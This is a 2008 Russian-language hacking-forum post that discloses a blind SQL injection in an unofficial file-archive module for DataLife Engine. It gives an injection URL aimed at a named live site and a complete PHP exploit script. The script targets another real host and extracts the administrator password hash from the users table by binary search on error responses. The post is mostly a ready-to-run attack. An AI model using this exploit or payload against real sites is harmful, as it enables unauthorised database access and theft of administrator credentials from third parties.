Показать сообщение отдельно

  #5  
Старый 02.03.2008, 18:07
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию

blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
Код:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
PHP код:
<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/ 

/*-----------------Настройки---------------------------*/ 
$host="symbiware.org";//указываем хост
$catid "38";//Указываем id существующей категории
$userid "0";//Указываем id администратора
/*-----------------------------------------------------*/ 

$good "MySQL Fatal Error";
$bad "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
$end ",(select%201%20from%20dle_downloads),url)+--+";
$index 1;
$result "";

function 
GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
CheckSQL($host$path$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
CheckSQL($host$path$index.",1))={$max}"))
  {
    
$result .=chr($max);
  } else
  {
   if(
CheckSQL($host$path$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

function 
CheckSQL ($host$path$st)
{   global 
$end;
    
$line="";
    
$fo fsockopen($host80$errno$errstr30);
    if(!
$fo){die ("no connect");}
    else 
    { 
       
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
       
$headers.="Host: ".$host."\r\n";
       
$headers.="Connection: Close\r\n\r\n";    
       global 
$good;
       global 
$bad;
        
fwrite($fo$headers);
        while (!
feof($fo))
        {
            
$line fgets($fo512);
            if (
strpos($line,$good)) 
            {
             
fclose($fo);
             return 
true;
            }
            if (
strpos($line,$bad))
            {
             
fclose($fo);
             return 
false;
            }
        }
        
fclose($fo);
    }
    return 
false;
}
if (
CheckSQL($host$path$index.",1))+between+1+and+255")) 
 echo (
" Идет подбор символов...<br>"); else  die("Ошибка");
 
for (
$i=0;$i<32;$i++)
{
 
$min 31;
 
$max 123;
 
$ok true;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
  {
 echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
  echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}
echo 
$result;
?>
© H00k
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
 
Ответить с цитированием